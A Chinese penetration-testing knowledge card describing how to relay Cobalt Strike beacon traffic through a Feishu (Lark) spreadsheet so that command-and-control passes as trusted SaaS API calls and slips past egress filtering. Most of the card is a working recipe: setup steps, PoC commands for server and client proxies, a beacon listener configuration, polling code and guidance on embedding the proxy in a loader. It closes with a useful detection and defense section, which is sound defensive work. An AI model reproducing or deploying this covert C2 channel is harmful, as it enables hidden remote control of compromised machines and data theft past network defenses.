♧ Godown 安全知识树

飞书云文档表格作为 C2 双向中继:本地 converter 代理 + 加密请求/响应行 + 轮询

pentest/c2 · verified

一句话结论

在受控端与 teamserver 侧各部署一个本地 converter 代理:客户端代理监听 127.0.0.1:18080,把 beacon 的 HTTP 请求用共享密钥加密后写入飞书表格的 requests 行;服务端轮询该行、解密后转发给真实 teamserver,再把响应加密写回 response 列;客户端轮询 response 列、解密并回给 beacon。beacon 只连本地回环,外网可见流量只有到 open.feishu.cn 的合法 HTTPS API(可信域名),因此可以绕过“只允许可信 SaaS 域名出网”的边界策略,实现 C2 流量的双向转发。

原理

  • 两端 converter 拆分流量:受控端跑 LarkProxy.exe(本地代理,监听 18080),teamserver 侧跑 run_server.py(轮询代理)。beacon 的 HTTP 请求先到本地代理,代理不再直接连 C2,而是把整段 HTTP 请求加密后写进飞书表格;服务端代理读表、解密、把请求转发给 127.0.0.1 上的 teamserver,拿到响应后加密写回同一行的 response 列。
  • 飞书作为可信域名的双向通道:代理使用飞书开放平台 API(open.feishu.cn/open-apis/...)完成鉴权和表格读写。企业出口若只放行飞书等 SaaS 域名,beacon 到真实 C2 的流量就被“藏”进飞书 API 的 HTTPS 请求里,不出现可疑 C2 域名/IP。
  • 鉴权与定位:需要飞书自建应用/机器人的 app_id、app_secret,先换 tenant_access_token;配置里的 wiki_token 通过 getSpreadsheetTokenByWiki() 换成 spreadsheet_token,再 getSheetIds() 拿 sheet_id;写入用 v2 接口 writeToSpreadsheet(token, sheet_id, "A<row>:B<row>", [[id, hex(ciphertext)]])。
  • 加密与编码:客户端调用 Crypto::encrypt(request, encryptionKey),把密文转十六进制字符串写入表格;服务端用同一 encryptionKey 解密。即使飞书侧能看到表格内容,没有共享密钥也无法还原 C2 协议;密钥由两端预共享。
  • 轮询节奏:客户端每 2 秒(代码 pollInterval = 2000)检查当前行的 response 列,非空则解密并通过 socket 回给 beacon;服务端日志显示每 5 秒轮询 requests,最多并发处理 5 个任务、每次最多提交 3 个新任务,避免 API 限流。
  • 为什么成立:飞书 API 是正常企业办公流量,域名信誉高、TLS 正常;C2 协议被包在表格单元格里,传统基于域名/IP/端口的外联封锁和 C2 特征匹配很难命中。代价是延迟(秒级轮询)、带宽受 API 限制。
  • 原文边界:作者称这是针对 Cobalt Strike 流量的简单 demo,大部分功能可用;超过飞书 API 限制的大数据包未做分块会直接失败;未研究 BRC4 通信,大部分功能不可用。因此本卡按“小包 CS HTTP beacon 中继”记录。

触发条件

  • 有一个可用的飞书(Lark)租户,能创建自建应用/机器人并拿到 app_id、app_secret;该应用被添加为文档的可编辑协作者(原文图中为“准入机器人”)。
  • 有一个飞书 wiki/表格文档,包含 id、requests、response 三列;拿到 wiki_token(文档 URL 中 /wiki/<token>)与目标 sheet_id。
  • 受控端可以访问 open.feishu.cn(或经过企业代理),且出网策略信任飞书域名;若完全禁止 SaaS API 出网则不成立。
  • C2 框架使用 HTTP beacon(原文实测 Cobalt Strike Beacon HTTP;BRC4 未支持),listener 可指向本地代理 127.0.0.1:18080。
  • 两端预共享同一个 encryption-key;服务端代理能访问真实 teamserver。
  • 数据包大小不超过飞书 API 单次请求限制(原文未做分块,大包会失败)。

利用步骤

  1. 在飞书创建自建应用/机器人,获取 app_id、app_secret;把机器人添加为文档协作者并给编辑权限。
  2. 创建 wiki 表格文档,列名为 id、requests、response;从 URL 取 wiki_token,用 getSheetIds() 或 API 查 sheet_id。
  3. 在 teamserver 侧启动服务端代理(原文命令): python3 run_server.py --app-id <APP_ID> --app-secret <APP_SECRET> --wiki-token <WIKI_TOKEN> --encryption-key "<KEY>" 日志显示获取 access token、spreadsheet token、sheet id,然后每 5 秒轮询 requests 列,把解密后的请求转发给 teamserver,并把响应加密写回 response 列。
  4. 在 Cobalt Strike 创建 listener:Name local,Payload Beacon HTTP,HTTP Hosts 127.0.0.1,HTTP Port (C2) 18080(即本地代理端口)。
  5. 在受控端启动客户端代理(原文命令): LarkProxy.exe --port 18080 --app-id <APP_ID> --app-secret <APP_SECRET> --wiki-token <WIKI_TOKEN> --encryption-key "<KEY>" 代理监听 18080,接收 beacon 请求 → 加密 → 写入表格 requests 行 → 轮询 response 列 → 解密 → 回给 beacon。
  6. beacon 上线后执行 shell whoami、shell ipconfig 等验证;表格中可见递增的 id 行与十六进制密文,服务端日志显示轮询/转发,C2 控制台收到命令输出。
  7. 需要嵌入 loader 时,可把客户端编译成 lib:VS 设置配置类型为库,定义 LARKPROXY_EXPORTS 宏,包含 LarkProxy.h,调用 LarkProxy::startProxyServer,并用 vcpkg 安装静态 libcurl。

PoC

# 服务端(teamserver 侧)
python3 run_server.py --app-id <APP_ID> --app-secret <APP_SECRET> \
  --wiki-token <WIKI_TOKEN> --encryption-key "<KEY>"

# 受控端(beacon 侧)
LarkProxy.exe --port 18080 --app-id <APP_ID> --app-secret <APP_SECRET> \
  --wiki-token <WIKI_TOKEN> --encryption-key "<KEY>"
# Cobalt Strike listener
Name: local
Payload: Beacon HTTP
HTTP Hosts: 127.0.0.1
HTTP Port (C2): 18080
# 服务端轮询伪代码(原文节选)
while self.running:
    self._check_completed_tasks()
    self._submit_new_tasks(current_id)   # 每次最多 3 个,处理中最多 5 个
    while current_id in self.processing_tasks:
        current_id += 1
    time.sleep(self.poll_interval)       # 5 秒

原文截图显示 CS beacon 执行 whoami/ipconfig 成功、飞书表格出现多行 request/response 十六进制密文、两端代理日志正常;本卡未复跑该 demo。

变体与关联

  • 同类可信云中继:[[pentest-c2-faas-flask-proxy-traffic-forwarding]] 用 FaaS(Coze 空间)部署 Flask 透明反向代理,流量直接经云函数转发;[[pentest-c2-cloudflare-workers-json-rc4-c2]] 用 Workers 的 JSON/RC4 轮询;本卡不是 HTTP 反向代理,而是把请求/响应存进表格单元格,两端靠轮询交换,属于“文档型 dead drop + 双向中继”。
  • 单向 dead drop:[[pentest-c2-dropbox-paper-og-title-dead-drop]] 只利用文档标题分发密钥,不承载交互流量;本卡是双向命令通道。
  • 可替换服务:思路可迁移到其他提供表格/文档 API 的 SaaS(Google Sheets、Notion、腾讯文档等),但各家的鉴权、限流、单元格大小与审计不同,原文未验证其他平台。
  • 与 DNS 隧道对比:[[pentest-c2-dns-label-tunnel-txt-a-record-chunking]] 依赖只放行 DNS 的网络;本卡依赖放行飞书域名的 HTTPS,适用场景不同。
  • 限制:未分块导致大包失败;BRC4 未支持;逐行轮询带来秒级延迟;飞书租户审计与 API 限流会留下痕迹。

检测与防御

  • 网络侧:监控内网主机对 open.feishu.cn 等 SaaS API 的高频、长连接/周期性请求,尤其是非办公时间段、与正常办公流量基线不符的源;检查 /open-apis/sheets/v2/spreadsheets/*/values 的读写请求体是否含大段十六进制/Base64 密文、行号是否按 1、2、3 递增。
  • 端点侧:发现进程监听 127.0.0.1:18080、beacon 只连回环地址、进程命令行含 --app-id/--app-secret/--wiki-token/--encryption-key;EDR 关注“本地监听 + 对外 SaaS API 访问”的组合。
  • 飞书租户审计:审批自建应用/机器人,限制可被添加为文档协作者的应用;审计应用对表格的高频 values 读写、异常 wiki_token 访问、短时间大量行写入;轮换泄露的 app_secret。
  • C2 侧:检查 CS listener 配置是否指向 127.0.0.1/内网代理;分析 beacon 的 HTTP Host/Stager 与真实外联域名是否不一致。
  • 缓解:CASB/代理对 SaaS API 做内容与频率检测;出网策略不只按域名放行,对 SaaS API 也限制非业务主机;禁止终端任意进程监听回环端口;对表格文档的协作者与应用做最小权限。